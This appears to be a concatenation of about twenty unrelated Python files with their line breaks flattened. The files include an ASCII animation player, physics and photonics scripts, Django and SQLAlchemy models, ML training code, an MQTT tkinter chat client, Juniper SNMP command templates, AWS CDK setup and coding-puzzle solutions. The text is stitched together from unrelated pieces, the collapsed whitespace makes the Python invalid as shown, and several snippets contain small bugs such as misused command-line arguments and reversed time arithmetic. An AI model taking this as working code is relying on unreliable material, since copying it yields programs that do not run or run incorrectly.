import os import time with open('starwars.txt', 'r') as sw_file: lines = sw_file.readlines() _index = 0 for line in lines: if _index == 0: time_duration = int(line.strip()) _index += 1 continue if _index < 13: print(line, end='') _index += 1 else: print(line, end='') time.sleep(time_duration/10) os.system('clear') _index = 0
import pp def test_label_fiber_single(): """Test that add_fiber single adds the correct label for measurements.""" c = pp.c.waveguide() assert len(c.labels) == 0 c = pp.routing.add_fiber_single(c, with_align_ports=False) assert len(c.labels) == 2 l0 = c.labels[0].text l1 = c.labels[1].text print(l0) print(l1) assert l0 == "opt_te_1530_(waveguide)_0_W0" assert l1 == "opt_te_1530_(waveguide)_0_E0" return c def test_label_fiber_single_align_ports(): """Test that add_fiber single adds the correct label for measurements.""" c = pp.c.waveguide() assert len(c.labels) == 0 c = pp.routing.add_fiber_single(c, with_align_ports=True) pp.show(c) print(len(c.labels)) assert len(c.labels) == 4 l0 = c.labels[0].text l1 = c.labels[1].text l2 = c.labels[2].text l3 = c.labels[3].text print(l0) print(l1) print(l2) print(l3) assert l0 == "opt_te_1530_(waveguide)_0_W0" assert l1 == "opt_te_1530_(waveguide)_0_E0" assert l2 == "opt_te_1530_(loopback_waveguide)_0_E0" assert l3 == "opt_te_1530_(loopback_waveguide)_1_W0" return c if __name__ == "__main__": # c = test_label_fiber_single() c = test_label_fiber_single_align_ports() pp.show(c)
import ROOT import collections ### variable list variables = { "pth":{"name":"higgs_pt","title":"p_{T}^{H} [GeV]","bin":50,"xmin":0,"xmax":1000}, "pthl":{"name":"higgs_pt","title":"p_{T}^{H} [GeV]","bin":50,"xmin":0,"xmax":5000}, "mh":{"name":"higgs_m","title":"m_{H} [GeV]","bin":100,"xmin":50,"xmax":180}, "mhl":{"name":"higgs_m","title":"m_{H} [GeV]","bin":45,"xmin":50,"xmax":500}, } colors = {} colors['H'] = ROOT.kRed colors['pp #rightarrow #gamma#gamma'] = ROOT.kYellow colors['gg #rightarrow #gamma#gamma'] = ROOT.kOrange groups = collections.OrderedDict() groups['H'] = ['pp_h012j_5f', 'pp_vbf_h01j_5f', 'pp_tth01j_5f', 'pp_vh01j_5f'] groups['gg #rightarrow #gamma#gamma'] = ['gg_aa01j_5f'] groups['pp #rightarrow #gamma#gamma'] = ['pp_aa012j_5f'] ### signal and background uncertainties hypothesis uncertainties = [] uncertainties.append([0., 0.]) uncertainties.append([0.02, 0.0]) uncertainties.append([0.02, 0.02]) uncertainties.append([0.02, 0.10]) # global parameters intLumi = 3.0e+07 delphesVersion = '3.4.1' # for pt dependent analysis ptmax = 2500. nsteps = 25 # the first time needs to be set to True runFull = True # base selections selbase_nomasscut = ('a1_pt > 30. && a2_pt > 30. &&' 'abs(a1_eta) < 4.0 && abs(a2_eta) < 4.0') selbase_masscut = ('a1_pt > 30. && a2_pt > 30. &&' 'abs(a1_eta) < 4.0 && abs(a2_eta) < 4.0 &&' 'higgs_m > 122.5 && higgs_m < 127.5') sel_bases = {} sel_bases['nomasscut'] = selbase_nomasscut sel_bases['masscut'] = selbase_masscut
# Short Palindrome ####################################################################################################################### # # Consider a string s, of n lowercase English letters where each character, si (0 <= i < n), denotes the letter at # index i in s. We define an (a,b,c,d) palindromic tuple of s to be a sequence of indices # in s satisfying the following criteria: # sa = sd , meaning the characters located at indices a and b are the same. # sb = sc , meaning the characters located at indices b and c are the same. # 0 <= a < b < c < d < |s|, meaning that a, b, c, and d are ascending in value # and are valid indices within string s. # Given s, find and print the number of (a,b,c,d) tuples satisfying the above conditions. # As this value can be quite large, print it modulo 10^9 + 7. # # Input Format # A single string denoting s. # # Constraints # 1 <= |s| <= 10^6 # It is guaranteed that s only contains lowercase English letters. # # Output Format # Print the the number of (a,b,c,d) tuples satisfying the conditions in the Problem Statement above. # As this number can be very large, your answer must be modulo (10^9 + 7). # # Sample Input 0 # kkkkkkz # # Sample Output 0 # 15 # # Explanation 0 # The letter z will not be part of a valid tuple because you need at least two of the same character to satisfy # the conditions defined above. Because all tuples consisting of four k's are valid, we just need to find the # number of ways that we can choose four of the six k's. This means our answer is (6/4) mod (10^9 + 7) = 15. # # Sample Input 1 # ghhggh # # Sample Output 1 # 4 # # Explanation 1 # The valid tuples are: # (0,1,2,3) # (0,1,2,4) # (1,3,4,5) # (2,3,4,5) # Thus, our answer is 4 mod(10^9 + 7) = 4. # #######################################################################################################################
task1 = {"todo": "call John for AmI project organization", "urgent": True} task2 = {"todo": "buy a new mouse", "urgent": True} task3 = {"todo": "find a present for Angelina’s birthday", "urgent": False} task4 = {"todo": "organize mega party (last week of April)", "urgent": False} task5 = {"todo": "book summer holidays", "urgent": False} task6 = {"todo": "whatsapp Mary for a coffee", "urgent": False} lista=[task1,task2,task3,task4,task5,task6] lung=len(lista) i=0 while i<lung: if lista[i]["urgent"]==False: del lista[i] i -= 1 lung -= 1 i+=1 print(lista)
import sys """ 이차원 배열에서 각 행의 최솟값들 중 최댓값을 찾는 문제 test cases 3 3 3 1 2 4 1 4 2 2 2 """ n, m = map(int, sys.stdin.readline().split()) data = iter(map(int, sys.stdin.readline().split()) for _ in range(n)) print(max(map(min, data))) """ map(func, iterator)-> iterator의 값들을 func에 적용한 iterator을 return , max -> iterator 중 max iterator? -> 값을 하나씩 꺼낼 수 있는 객체 , 매직 메서드인 next를 통해 pop 가능 , print(max(map(max, data))) # -> 이차원 배열 최댓값, 최댓값 중 최댓값 print(max(map(min, data))) # -> 행의 최솟값 중 최댓값 print(min(map(max, data))) # -> 행의 최댓값 중 최솟값 print(min(map(min, data))) # -> 이차원 배열 최솟값, 최솟값 중 최솟값 """
# -*- coding: utf-8 -*- """ Created on Tue Jun 18 03:37:40 2019 @author: kunal """ import numpy as np x = np.random.normal(150, 20, 1000) print("Mean value is: ", np.mean(x)) print("Median value is: ", np.median(x)) print("Standard Deviation is: ", np.std(x)) from scipy import stats print("Mode value is: ", stats.mode(x)[0]) print("varience value is: ", np.var(x) ) print("Minimum value is: ", np.min(x)) print("Maximum value is: ", np.max(x)) import matplotlib.pyplot as plt plt.hist(x, 100) plt.show()
from funcs import * import os from matplotlib import pyplot as plt ############################## # 0. parameter setting f_fwd, f_bwd = 24, 24 nan_len = 5 ############################## # 1. load dataset df = pd.read_csv('D:/202010_energies/201125_result_aodsc+owa.csv', index_col=0) idx_detected_nor = np.where(df['mask_detected']==3)[0] idx_detected_acc = np.where(df['mask_detected']==4)[0] data_col = df['values'].copy() ############################## # 4-3. SPLINE print('** - SPLINE start') spline = df[{'values', 'injected', 'mask_detected'}].copy().reset_index(drop=True) spline['spline'] = spline['injected'].copy() spline['spline_aod'] = spline['injected'].copy() spline['spline_aodsc'] = spline['injected'].copy() count = 0 for idx in np.where((spline['mask_detected'] == 3) | (spline['mask_detected'] == 4))[0]: # interpolation 적용할 index의 injection만 남기고 나머지는 raw data temp_nocon, temp_const = spline['values'].copy(), spline['values'].copy() temp_nocon[:idx], temp_const[:idx] = spline['values'][:idx], spline['values'][:idx] temp_nocon[idx:idx+nan_len+2], temp_const[idx:idx+nan_len+2] = spline['injected'][idx:idx+nan_len+2], spline['injected'][idx:idx+nan_len+2] # make sequences for interpolation ~ nocon은 step 6, const는 step 7로 value 띄엄띄엄 남기기 p, q = 24, 24 temp_nocon_part = temp_nocon[idx-p:idx+nan_len+2+q].copy() for ii in range(temp_nocon_part.index[0], temp_nocon_part.index[-1]): if ii % (nan_len+1) != idx % (nan_len+1): temp_nocon_part[ii] = np.nan while sum(~pd.isna(temp_nocon_part)) < 4: p += nan_len+1 q += nan_len+1 temp_nocon_part = temp_nocon[idx-p:idx+nan_len+2+q].copy() for ii in range(temp_nocon_part.index[0], temp_nocon_part.index[-1]): if ii%(nan_len+1) != idx%(nan_len+1): temp_nocon_part[ii] = np.nan p, q = (nan_len+2)*4, (nan_len+2)*4 temp_const_part = temp_const[idx-p-1:idx+nan_len+2+q].copy() for ii in range(temp_const_part.index[0], temp_const_part.index[-1]): if ii % (nan_len+2) != (idx-1) % (nan_len+2): temp_const_part[ii] = np.nan while sum(~pd.isna(temp_const_part)) < 4: p += nan_len+2 q += nan_len+2 temp_const_part = temp_const[idx-p-1:idx+nan_len+2+q].copy() for ii in range(temp_const_part.index[0], temp_const_part.index[-1]): if ii%(nan_len+2) != (idx-1)%(nan_len+2): temp_const_part[ii] = np.nan print(p, q) # interpolation if spline['mask_detected'][idx] == 3: # p, q = 24, 24 spline['spline'][idx+1:idx+nan_len+1] = temp_nocon_part.interpolate(method='polynomial', order=3).loc[idx+1:idx+nan_len] spline['spline_aod'][idx+1:idx+nan_len+1] = temp_nocon_part.interpolate(method='polynomial', order=3).loc[idx+1:idx+nan_len] spline['spline_aodsc'][idx+1:idx+nan_len+1] = temp_nocon_part.interpolate(method='polynomial', order=3).loc[idx+1:idx+nan_len] else: # 4 # p, q = 24, 24 spline['spline'][idx+1:idx+nan_len+1] = temp_nocon_part.interpolate(method='polynomial', order=3).loc[idx+1:idx+nan_len] s = temp_const[idx] # temp_const[idx] = np.nan # li_temp = temp_const[idx-1-p:idx+nan_len+2+q].interpolate(method='polynomial', order=3).loc[idx:idx+nan_len] li_temp = temp_const_part.interpolate(method='polynomial', order=3).loc[idx:idx+nan_len] spline['spline_aod'][idx:idx+nan_len+1] = li_temp spline['spline_aodsc'][idx:idx+nan_len+1] = li_temp*(s/sum(li_temp.values)) count += 1 if count % 100 == 0: print(f'{idx} ', end='') df['spline'] = spline['spline'].values.copy() df['spline_aod'] = spline['spline_aod'].values.copy() df['spline_aodsc'] = spline['spline_aodsc'].values.copy() print('** - SPLINE finished') df.to_csv('201207_result_aodsc+owa_spline-rev-again.csv') # # for idx in [135, 159, 171, 189]: # plt.figure(figsize=(12, 6)) # plt.plot(df['values'][idx-24:idx+30].values, '.-') # plt.plot(df['joint_aod'][idx-24:idx+30].values, '.-') # plt.plot(df['linear'][idx-24:idx+30].values, '.-') # plt.plot(df['spline'][idx-24:idx+30].values, '.-') # plt.plot(df['spline_aod'][idx-24:idx+30].values, '.-') # plt.plot(df['spline_aodsc'][idx-24:idx+30].values, '.-') # plt.axvline(24, color='k', linestyle='--', alpha=0.3) # plt.axvline(24+nan_len, color='k', linestyle='--', alpha=0.3) # plt.legend(['raw', 'joint', 'linear', 'spline', 'spline_aod', 'spline_aodsc']) # plt.tight_layout() # idx = 192613 에서 에러가 나씀 Value Error: The number of derivatives at boundaries does not match: expected 1, got 0+0
import q20 if __name__ == '__main__': str = q20.picktxt("../../../data/jawiki-country.json", "イギリス") for line in str.split("\n"): if "Category" in line: print(line)
''' Module that handles creation of SKFiles that represent songs, having all relevant info from then. @date: 9/25/18 @author: Cody West ''' class SKFile(object): ''' Class that contains metadata and index number of song ''' def __init__(self, path, index, title, artist, album, time): ''' Constructor gets called by directory lookups and song distribution, this makes it easier to keep track of song files, without actually holding onto the files.. Any relevant info is placed in the proper variable, if that info isn't present a blank is assigned instead. ''' #Path is used by the server when servicing requests by the client. path = path.replace("\\", "/") self.path = path if title: self.title = title else: self.title = path if artist: self.artist = artist else: self.artist = '' if album: self.album = album else: self.album = '' if time: self.time = float(time) else: self.time = 0 self.index = index def skToString(self): ''' This method prints the file information in one string. ''' return self.path + " &%& " + str(self.index) + ' &%& ' + self.title + " &%& " + self.artist + " &%& " + self.album + " &%& " + str(self.time) def __repr__(self): ''' This method is the same above, but is the python overwrite in calling print() ''' return ( 'path: ' + self.path + "\n" + 'index: ' + str(self.index) + '\n' + 'title: ' + self.title + "\n" + 'artist: ' + self.artist + "\n" + 'album: ' + self.album + '\n' + 'time: ' + str(self.time))
def ft_len(z): x = 0 for i in z: x = x + 1 return x def ft_rev_list(num): for i in range(0, ft_len(num) // 2): temp = num[i] num[i] = num[-(i + 1)] num[-(i + 1)] = temp return num
#!/usr/bin/env python3 from aws_cdk import ( aws_ec2, aws_ecs, aws_iam, aws_ssm, aws_autoscaling, core ) from os import getenv class ImportedResources(core.Construct): def __init__(self, scope: core.Construct, id: str, **kwargs): super().__init__(scope, id, **kwargs) environment = self.node.try_get_context("env") environment = "" if not environment else environment vpc_stack_name = 'octank-support-vpc' vpc_name = '{}/OctankSupportVPC' self.vpc = aws_ec2.Vpc.from_lookup( self, 'vpc', vpc_name=vpc_name.format(vpc_stack_name)) class OctankSupportECS(core.Stack): def __init__(self, scope: core.Stack, id: str, **kwargs): super().__init__(scope, id, **kwargs) environment = self.node.try_get_context("env") environment = "" if not environment else environment group_name = self.node.try_get_context("group") group_name = "OctankSupport" if not group_name else group_name self.base = ImportedResources(self, self.stack_name) # Creating ECS Cluster in the VPC created above self.ecs_cluster = aws_ecs.Cluster( self, 'OctankSupport', vpc=self.base.vpc, cluster_name='OctankSupport' ) # ECS EC2 Capacity self.asg = self.ecs_cluster.add_capacity( "ECSEC2Capacity", instance_type=aws_ec2.InstanceType( instance_type_identifier='t2.small'), min_capacity=0, max_capacity=10 ) # Adding service discovery (AWS CloudMap) namespace to cluster self.ecs_cluster.add_default_cloud_map_namespace( name='support.octank.local', ) # Namespace details as CFN output self.namespace_outputs = { 'ARN': self.ecs_cluster.default_cloud_map_namespace.private_dns_namespace_arn, 'NAME': self.ecs_cluster.default_cloud_map_namespace.private_dns_namespace_name, 'ID': self.ecs_cluster.default_cloud_map_namespace.private_dns_namespace_id, } # Cluster Attributes self.cluster_outputs = { 'NAME': self.ecs_cluster.cluster_name, 'SECGRPS': str(self.ecs_cluster.connections.security_groups) } # ??? # # When enabling EC2, we need the security groups "registered" to the cluster for imports in other service stacks # if self.ecs_cluster.connections.security_groups: # self.cluster_outputs['SECGRPS'] = str( # [x.security_group_id for x in self.ecs_cluster.connections.security_groups][0]) # # Security Group for port 8080 services # self.services_8080_sec_group = aws_ec2.SecurityGroup( # # self, 'FrontendToBackendSecurityGroup', # self, 'ELBToBackendSecurityGroup', # allow_all_outbound=True, # description='Security group for LB to talk to octicketing applicatoin', # vpc=self.base.vpc # ) # # Allow inbound 8080 from ALB to Frontend Service # self.sec_grp_ingress_self_8080 = aws_ec2.CfnSecurityGroupIngress( # self, 'InboundSecGrp8080', # ip_protocol='TCP', # source_security_group_id=self.services_8080_sec_group.security_group_id, # from_port=8080, # to_port=8080, # group_id=self.services_8080_sec_group.security_group_id # ) # All Outputs required for other stacks to build core.CfnOutput( self, 'NSArn', value=self.namespace_outputs['ARN'], export_name=group_name+'NSARN') core.CfnOutput( self, 'NSName', value=self.namespace_outputs['NAME'], export_name=group_name+'NSNAME') core.CfnOutput( self, 'NSId', value=self.namespace_outputs['ID'], export_name=group_name+'NSID') # value=self.services_8080_sec_group.security_group_id, export_name='SecGrpId') core.CfnOutput(self, 'ECSClusterName', value=self.cluster_outputs['NAME'], export_name=group_name+'ECSClusterName') # core.CfnOutput(self, 'ServicesSecGrp', # value=self.services_8080_sec_group.security_group_id, export_name=group_name+'ServicesSecGrp')
import pandas as pd import numpy as np from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.ensemble import RandomForestClassifier from imblearn.over_sampling import SMOTE from joblib import dump from functions import load_data, prepare_and_clean_data, process_data np.random.seed(500) #used to reproduce the same result every time #!git clone https://github.com/bieli/stopwords.git #repository with polish stopwords if __name__ == "__main__": text = load_data("./training_set_clean_only_text.txt") labels = load_data("./training_set_clean_only_tags.txt") data = prepare_and_clean_data(text,labels) data = process_data(data,"./stopwords/polish.stopwords.txt") train_X = data['text_final'] train_y = data['label'] Tfidf_vect = TfidfVectorizer(max_features=3500) Tfidf_vect.fit(data['text_final']) Train_X_Tfidf = Tfidf_vect.transform(train_X) oversample = SMOTE(random_state=42) Train_X_Tfidf,train_y = oversample.fit_resample(Train_X_Tfidf, train_y) model = RandomForestClassifier() model.fit(Train_X_Tfidf,train_y) dump(model,'trained_model.pkl')
from django.db import models from django.contrib.auth.models import User from django.db.models.signals import post_save from django.dispatch import receiver class Empresa(models.Model): name = models.CharField(max_length=255) def __str__(self): return f"{self.name}" class Departamento(models.Model): empresa = models.ForeignKey(Empresa, on_delete=models.CASCADE,related_name="departamentos") name = models.CharField(max_length=255) def __str__(self): return f"{self.name}" class Funcionario(models.Model): user = models.OneToOneField(User, on_delete=models.CASCADE) empresa = models.ManyToManyField(Empresa,related_name="funcionarios") departamento = models.ManyToManyField(Departamento,related_name="departamentos") def __str__(self): return "%s" % self.user def create_funcionario(sender, instance, created, **kwargs): if created: profile, created = Funcionario.objects.get_or_create(user=instance) post_save.connect(create_funcionario, sender=User)
# -*- coding: utf-8 -*- from nbs.models import db from nbs.models.entity import Entity class Place(Entity): __tablename__ = 'place' place_id = db.Column(db.Integer, db.ForeignKey('entity.id'), primary_key=True) name = Entity._name_1 responsible_id = db.Column(db.Integer, db.ForeignKey('user.user_id')) responsible = db.relationship('User', lazy='joined', primaryjoin="User.user_id==Place.responsible_id") __mapper_args__ = {'polymorphic_identity': u'place'} def __repr__(self): return "<{0}({1})>".format(self.__class__.__name__, self.name.encode('utf-8')) class Warehouse(Place): __tablename__ = 'warehouse' __mapper_args__ = {'polymorphic_identity': u'warehouse'} warehouse_id = db.Column(db.Integer, db.ForeignKey('place.place_id'), primary_key=True) class Branch(Place): __tablename__ = 'branch' __mapper_args__ = {'polymorphic_identity': u'branch'} branch_id = db.Column(db.Integer, db.ForeignKey('place.place_id'), primary_key=True) #: Fiscal Point of Sale fiscal_pos = db.Column(db.Integer, nullable=False, unique=True) warehouse_id = db.Column(db.Integer, db.ForeignKey('warehouse.warehouse_id')) warehouse = db.relationship(Warehouse, foreign_keys=warehouse_id) class Office(Place): __tablename__ = 'office' __mapper_args__ = {'polymorphic_identity': u'office'} office_id = db.Column(db.Integer, db.ForeignKey('place.place_id'), primary_key=True)
from __future__ import print_function from pygarl.classifiers import SVMClassifier, MLPClassifier import sys def train_classifier(classifier, dataset_dir, output_file, n_jobs=1, **kwargs): """ Train a model using the passed classifier from the given dataset and save it to a file. :param classifier: Classifier used to create a model :param dataset_dir: Path of the dataset directory containing the samples :param output_file: Output file of the model """ # Load the data print("Loading the data...", end="") classifier.load() print("LOADED!") print("Training the model...") # Train the model and obtain the score score = classifier.train_model() print("FINAL SCORE:", score) print("Saving the model to the output file:", output_file) classifier.save_model(output_file) print("DONE") # Plot the confusion matrix classifier.plot_confusion_matrix() def train_svm_classifier(dataset_dir, output_file, n_jobs=1): """ Train an SVM model from the given dataset and save it to a file. """ # Create the classifier classifier = SVMClassifier(dataset_path=dataset_dir, verbose=True, n_jobs=n_jobs, autoscale_size=50) # Train the classifier train_classifier(classifier=classifier, dataset_dir=dataset_dir, output_file=output_file, n_jobs=n_jobs) def train_mlp_classifier(dataset_dir, output_file, n_jobs=1): """ Train an MLP model from the given dataset and save it to a file. """ # Create the classifier classifier = MLPClassifier(dataset_path=dataset_dir, verbose=True, n_jobs=n_jobs, autonormalize=True, autoscale_size=15) # Train the classifier train_classifier(classifier=classifier, dataset_dir=dataset_dir, output_file=output_file, n_jobs=n_jobs) # If launched directly, parse the parameters from sys if __name__ == '__main__': train_svm_classifier(sys.argv[0], sys.argv[1], 8)
def escreva(texto): tamanho = len(texto) + 4 print('~' * tamanho) print(f' {texto}') print('~' * tamanho) # Main Program escreva(str(input('Digite algo:')))
from time import sleep import library_mqtt as mqtt import tkinter from tkinter import ttk class MyDelegate(object): def print_message(self, message): print("Message received:", message) def loop1(): #sleep(10) root = tkinter.Tk() root.title("Thể thao") main_frame = ttk.Frame(root, padding=20, relief='raised') main_frame.grid() msg_entry = ttk.Entry(main_frame, width=40) msg_entry.grid(row=1, column=0) msg_button = ttk.Button(main_frame, text="Gửi") msg_button.grid(row=1, column=1) msg_button['command'] = lambda: send_message(mqtt_client, msg_entry) root.bind('<Return>', lambda event: send_message(mqtt_client, msg_entry)) q_button = ttk.Button(main_frame, text="Thoát") q_button.grid(row=1, column=2) q_button['command'] = (lambda: quit_program(mqtt_client)) my_delegate = MyDelegate() mqtt_client = mqtt.MqttClient(my_delegate) mqtt_client.connect("thethao", "thethao", "test.mosquitto.org") root.mainloop() def loop2(): #sleep(10) root = tkinter.Tk() root.title("Âm nhạc") main_frame = ttk.Frame(root, padding=20, relief='raised') main_frame.grid() msg_entry = ttk.Entry(main_frame, width=40) msg_entry.grid(row=1, column=0) msg_button = ttk.Button(main_frame, text="Gửi") msg_button.grid(row=1, column=1) msg_button['command'] = lambda: send_message(mqtt_client, msg_entry) root.bind('<Return>', lambda event: send_message(mqtt_client, msg_entry)) q_button = ttk.Button(main_frame, text="Thoát") q_button.grid(row=1, column=2) q_button['command'] = (lambda: quit_program(mqtt_client)) my_delegate = MyDelegate() mqtt_client = mqtt.MqttClient(my_delegate) mqtt_client.connect("amnhac", "amnhac", "test.mosquitto.org") root.mainloop() def loop3(): #sleep(10) root = tkinter.Tk() root.title("Giải trí") main_frame = ttk.Frame(root, padding=20, relief='raised') main_frame.grid() msg_entry = ttk.Entry(main_frame, width=40) msg_entry.grid(row=1, column=0) msg_button = ttk.Button(main_frame, text="Gửi") msg_button.grid(row=1, column=1) msg_button['command'] = lambda: send_message(mqtt_client, msg_entry) root.bind('<Return>', lambda event: send_message(mqtt_client, msg_entry)) q_button = ttk.Button(main_frame, text="Thoát") q_button.grid(row=1, column=2) q_button['command'] = (lambda: quit_program(mqtt_client)) my_delegate = MyDelegate() mqtt_client = mqtt.MqttClient(my_delegate) mqtt_client.connect("Giaitri", "Giaitri", "test.mosquitto.org") root.mainloop() def loop4(): #sleep(10) root = tkinter.Tk() root.title("Thời sự") main_frame = ttk.Frame(root, padding=20, relief='raised') main_frame.grid() msg_entry = ttk.Entry(main_frame, width=40) msg_entry.grid(row=1, column=0) msg_button = ttk.Button(main_frame, text="Gửi") msg_button.grid(row=1, column=1) msg_button['command'] = lambda: send_message(mqtt_client, msg_entry) root.bind('<Return>', lambda event: send_message(mqtt_client, msg_entry)) q_button = ttk.Button(main_frame, text="Thoát") q_button.grid(row=1, column=2) q_button['command'] = (lambda: quit_program(mqtt_client)) my_delegate = MyDelegate() mqtt_client = mqtt.MqttClient(my_delegate) mqtt_client.connect("thoisu", "thoisu", "test.mosquitto.org") root.mainloop() def loop5(): #sleep(10) root = tkinter.Tk() root.title("") main_frame = ttk.Frame(root, padding=20, relief='raised') main_frame.grid() msg_entry = ttk.Entry(main_frame, width=40) msg_entry.grid(row=1, column=0) msg_button = ttk.Button(main_frame, text="Gửi") msg_button.grid(row=1, column=1) msg_button['command'] = lambda: send_message(mqtt_client, msg_entry) root.bind('<Return>', lambda event: send_message(mqtt_client, msg_entry)) q_button = ttk.Button(main_frame, text="Thoát") q_button.grid(row=1, column=2) q_button['command'] = (lambda: quit_program(mqtt_client)) nhap=input("Tùy chọn topic:") my_delegate = MyDelegate() mqtt_client = mqtt.MqttClient(my_delegate) mqtt_client.connect(nhap,nhap, "test.mosquitto.org") root.mainloop() def send_message(mqtt_client, msg_entry): msg = msg_entry.get() msg_entry.delete(0, 'end') mqtt_client.send_message("print_message",[msg]) def quit_program(mqtt_client): mqtt_client.close() print("Ngắt kết nối!!!") exit() bot=int(input("Chọn chủ đề bạn muốn nhắn tin?\n1 - Thể thao\n2 - Âm nhạc\n3 - Giải trí\n4 - Thời sự\n5 - Tùy chọn\n")) if bot==1: loop1() elif bot==2: loop2() elif bot==3: loop3() elif bot==4: loop4() elif bot==5: loop5() else: print("You can insert just 1,2,3,4 or 5")
# Simulated Annealing """ Created on Fri Aug 9 19:16:09 2019 @author: Salam Saudagar """ import numpy as np #import pandas as pd import matplotlib.pyplot as plt def Rosenbrock(x,y, a=1, b=100): return( (a-x)**2 + b*(y - x**2 )**2 ) x_initial , y_initial = np.random.uniform(-5, 5, size = 2) EN_initial = Rosenbrock(x_initial,y_initial) ###===== Creating the loop for number of steps, to calculate the Initial Temperature x_vec , y_vec , Accept_EN_vec , Reject_EN_vec= [] , [] , [] , [] T0 = 1000 for i in range(500): h1 , h2 = np.random.uniform(-1,1, size = 2) x_new , y_new = x_initial + h1 , y_initial + h2 EN_new = Rosenbrock(x_new , y_new) Del_E = EN_new - EN_initial r = np.random.uniform(0,1) #x_vec.append(x_new) #y_vec.append(y_new) if r < np.exp(-Del_E/T0): x_initial , y_initial , EN_initial = x_new , y_new , EN_new Accept_EN_vec.append(EN_new) else: #x_vec.append(x_initial) #y_vec.append(y_initial) Reject_EN_vec.append(EN_initial) ###===== Calculating the initial Temperature T0 m1 = len(Accept_EN_vec) m2 = len(Reject_EN_vec) del_f = np.mean(Accept_EN_vec) T0 = -del_f / np.log( (0.95 *(m1 + m2) - m1) / m2 ) print("Initial Temperature = %f"%T0) ###===== Loop for Simulated Annuling, to Calculate optimum x_initial , y_initial = np.random.uniform(-5, 5, size = 2) EN_initial = Rosenbrock(x_initial,y_initial) x_vec , y_vec , EN_vec = [] , [] , [] for j in np.arange(T0): itr = 1000 for k in range(itr): h1 , h2 = np.random.uniform(-1,1, size = 2) x_new , y_new = x_initial + h1 , y_initial + h2 EN_new = Rosenbrock(x_new , y_new) Del_E = EN_new - EN_initial r = np.random.uniform(0,1) x_vec.append(x_new) y_vec.append(y_new) if r < np.exp(-Del_E/T0): x_initial , y_initial , EN_initial = x_new , y_new , EN_new EN_vec.append(EN_new) else: EN_vec.append(EN_new) if len(EN_vec) >= 100 or itr >= 100: T0 = 0.9 * T0 if T0 <= 1: break print("Final Temperature = %f"%T0) min_i = np.argmin(EN_vec) #Calculating the index at which the energy is Minimum x_min, y_min = x_vec[min_i], y_vec[min_i] print("Minimum Energy is = %0.4f."%EN_vec[min_i]) print("The Optimized Value of x and y are: {} and {} respectively ".format(x_min, y_min)) #plt.plot(EN_vec) #plt.plot(x_vec,EN_vec,'-r') #plt.plot(y_vec,EN_vec,'-g')
from cloudshell.cli.command_template.command_template import CommandTemplate from cloudshell.networking.juniper.command_templates.generic_action_error_map import ( ACTION_MAP, ERROR_MAP, ) CREATE_VIEW = CommandTemplate( "set snmp view SNMPSHELLVIEW oid .1 include", action_map=ACTION_MAP, error_map=ERROR_MAP, ) ENABLE_SNMP_READ = CommandTemplate( "set snmp community {snmp_community} authorization read-only view SNMPSHELLVIEW", action_map=ACTION_MAP, error_map=ERROR_MAP, ) ENABLE_SNMP_WRITE = CommandTemplate( "set snmp community {snmp_community} authorization read-write view SNMPSHELLVIEW", action_map=ACTION_MAP, error_map=ERROR_MAP, ) DELETE_VIEW = CommandTemplate( "delete snmp view SNMPSHELLVIEW", action_map=ACTION_MAP, error_map=ERROR_MAP ) DISABLE_SNMP = CommandTemplate( "delete snmp community {snmp_community}", action_map=ACTION_MAP, error_map=ERROR_MAP ) SHOW_SNMP_COMMUNITY = CommandTemplate( "show snmp community {snmp_community}", action_map=ACTION_MAP, error_map=ERROR_MAP )
from .lib.air_quality_pb2 import DataPoint class Default: channel = "/AirQuality" rpcURL = "127.0.0.1:5555" class Type: PM2_5 = DataPoint.PM2_5 PM10 = DataPoint.PM10 NO = DataPoint.NO NO2 = DataPoint.NO2 NOX = DataPoint.NOX NH3 = DataPoint.NH3 SO2 = DataPoint.SO2 CO = DataPoint.CO OZONE = DataPoint.OZONE BENZENE = DataPoint.BENZENE TOLUENE = DataPoint.TOLUENE TEMP = DataPoint.TEMP RH = DataPoint.RH WS = DataPoint.WS WD = DataPoint.WD BP = DataPoint.BP def getLocals(): return globals()
# -*- coding: utf-8 -*- # @Time : 2018/7/3 14:09 # @Author : LI Jiawei # @Email : jliea@connect.ust.hk # @File : main.py # @Software: PyCharm import pandas as pd import numpy as np import matplotlib.pyplot as plt import tensorflow as tf import logging from argparse import ArgumentParser from datetime import datetime from utils.test import Data from utils.json_loader import config_load from agent.agent import Agent from buffer.replay_buffer import Replay_Buffer from process.ou_noise_process import OU_Process from network.net import Model def build_parser(): parser = ArgumentParser() parser.add_argument("--mode", dest="mode", help="") parser.add_argument("--process", dest="process", help="") return parser def create_df(path, name): logging.info(f"create {name} of agent : ..............................") o_t = datetime.now() df = pd.read_csv(path) logging.info(f"the shape of df is {df.shape}") n_t = datetime.now() logging.info(f"Time consuming is {(o_t-n_t).microseconds} ms") logging.info(f"{name} creation is ended : ..............................") return df def create_agent(config, session): logging.info("Create agent : ====================================================================") model = Model(config=config, sess=session) replay_buffer = Replay_Buffer(config) ou_process = OU_Process(config) record = create_df("data/temp/user_15330397.csv", "record") item_set = create_df("data/fresh_comp_offline/tianchi_fresh_comp_train_item.csv", "item_set") user_item_data = create_df("data/fresh_comp_offline/tianchi_fresh_comp_train_user.csv", "user_set") agent = Agent(config=config , model=model, replay_buffer=replay_buffer, noise=ou_process, record=record, item_set=item_set, user_item_data = user_item_data, verbose=1) logging.info("End creating agent : ====================================================================") return agent def main(): logging.basicConfig(level=logging.DEBUG) session = tf.Session() parser = build_parser() option = parser.parse_args() config = config_load("config.json") if option.mode == "train": print("train") if option.process == "create_agent": agent = create_agent(config=config, session=session) print(f"total item_set is {agent.get_item_set().shape[0]}") reward_count = 0 for epoch in range(1000): reward = agent.get_reward_from_actions() print(f"Now is num {epoch} epoch: " f"current_state is {agent.get_cur_state()['item_id'].tolist()}, " f"curretn_action is {agent.get_cur_action()['item_id'].tolist()}," f"current reward is {reward}") print(f"Now's length of item_set is {agent.get_item_set().shape[0]}") reward_count += reward print(reward_count) if __name__ == '__main__': main()
class Solution(object): def findUnsortedSubarray(self, nums): """ :type nums: List[int] :rtype: int """ start = None end = None max_value = None min_value = None for i in range(len(nums)): if i > 0 and start == None and nums[i - 1] > nums[i]: start = i - 1 end = i max_value = nums[i - 1] min_value = nums[i] elif max_value != None and max_value < nums[i]: max_value = nums[i] elif max_value != None and max_value > nums[i]: end = i if min_value != None and nums[i] < min_value: min_value = nums[i] if start != None: for i in range(start): if nums[i] > min_value: start = i break return end - start + 1 if end != None and start != None else 0
